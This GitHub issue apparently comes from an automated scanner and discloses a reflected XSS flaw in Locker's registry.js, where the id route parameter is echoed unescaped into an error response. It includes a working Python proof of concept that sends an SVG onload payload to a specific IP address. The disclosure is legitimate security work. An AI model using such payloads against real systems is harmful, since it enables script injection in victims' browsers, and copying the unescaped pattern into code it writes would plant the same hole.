Skip to content

Reflected XSS Vulnerability #963

@NinjaGPT

Description

@NinjaGPT

Summary

The id parameter from req.params.id is directly concatenated into the error response at line 552 (res.send(id + " failed verification :(", 500)) without any sanitization or encoding. The PoC confirms the XSS payload <SvG oNlOAD=alert("zast-xss")> is reflected verbatim in the response, allowing arbitrary JavaScript execution in a victim's browser.


Details

  • SOURCE
⏺ Source Code Snippet (registry.js - authIsAwesome)

  // source-code/Locker-master/Ops/registry.js#L545-L561
  function authIsAwesome(req, res) {
    var id = req.params.id;
    var js = serviceManager.map(id);
    if (js) return authRedir(js, req, res); // short circuit if already done
    getPackage(id, function(err, pkg) {
      if (err || !verifyPkg(pkg)) {
        logger.error("package verification failed trying to auth " + id + ": ", err);
        return res.send(id + " failed verification :(", 500);
      }
      exports.install(pkg, function(err) {
        if (err) return res.send(err, 500);
        var js = serviceManager.map(id);
        if (!js) return res.send("failed to install :(", 500);
        return authRedir(js, req, res);
      });
    });
  }

  • SINK
  Sink Code Snippet (registry.js - getPackage callback)

  // source-code/Locker-master/Ops/registry.js#L549-L560
    getPackage(id, function(err, pkg) {
      if (err || !verifyPkg(pkg)) {
        logger.error("package verification failed trying to auth " + id + ": ", err);
        return res.send(id + " failed verification :(", 500);
      }
      exports.install(pkg, function(err) {
        if (err) return res.send(err, 500);
        var js = serviceManager.map(id);
        if (!js) return res.send("failed to install :(", 500);
        return authRedir(js, req, res);
      });
    });


POC

  import re
  import requests
  from requests.sessions import Session
  from urllib.parse import urlparse

  def match_api_pattern(pattern, path) -> bool:
      """
      Match an API endpoint pattern with a given path.

      This function supports multiple path parameter syntaxes used by different web frameworks:
      - Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
      - Angle brackets: '/users/<int:id>' (Flask with converters)
      - Colon syntax: '/users/:id' (Express, Koa, Sinatra)
      - Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)

      Note: This function performs structural matching only and doesn't validate param types or regex
  constraints.

      Args:
        pattern (str): The endpoint pattern with parameter placeholders
        path (str): The actual path to match

      Returns:
        bool: True if the path structurally matches the pattern, otherwise False
      """
      pattern = pattern.strip() or '/'
      path = path.strip() or '/'
      if pattern == path:
          return True

      # Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
      # Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
      pattern = re.sub(r'\{[\w:()[\].\-\\+*]+}', r'[^/]+', pattern)
      # Support for <param> and <type:param> syntax (Flask with converters)
      pattern = re.sub(r'<[\w:()[\].\-\\+*]+>', r'[^/]+', pattern)
      # Support for :param syntax (Express, Koa, Sinatra)
      pattern = re.sub(r':[\w:()[\].\-\\+*]+', r'[^/]+', pattern)
      # Add start and end anchors to ensure full match
      pattern = f'^{pattern}$'

      match = re.match(pattern, path)
      if match:
          return True
      return False

  class CustomSession(Session):
      def request(
          self,
          method,
          url,
          params = None,
          data = None,
          headers = None,
          cookies = None,
          files = None,
          auth = None,
          timeout = None,
          allow_redirects = True,
          proxies = None,
          hooks = None,
          stream = None,
          verify = None,
          cert = None,
          json = None,
      ):

          if match_api_pattern('/auth/v3dm0s', urlparse(url).path):
              headers = headers or {}
              headers.update({'User-Agent': 'oxpecker'})
              timeout = 30
          else:
              headers = headers or {}
              headers.update({'User-Agent': 'oxpecker'})
              timeout = 30
          return super().request(
              method=method,
              url=url,
              params=params,
              data=data,
              headers=headers,
              cookies=cookies,
              files=files,
              auth=auth,
              timeout=timeout,
              allow_redirects=allow_redirects,
              proxies=proxies,
              hooks=hooks,
              stream=stream,
              verify=verify,
              cert=cert,
              json=json,
          )

  requests.Session = CustomSession
  requests.sessions.Session = CustomSession

  # ********************************* Poc Start **********************************
  import requests

  # Define the target URL
  target_url = "http://34.127.19.15:41341/auth/:id"

  # Define the payload with the marker
  payload = '<SvG oNlOAD=alert("zast-xss")>'

  # Replace the placeholder with the actual payload
  url = target_url.replace(":id", payload)

  # Send the GET request
  response = requests.get(url, verify=False, allow_redirects=False)

  # Print the response status code and text
  print(response.status_code)
  print(response.text)
  # ********************************** Poc End ***********************************

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions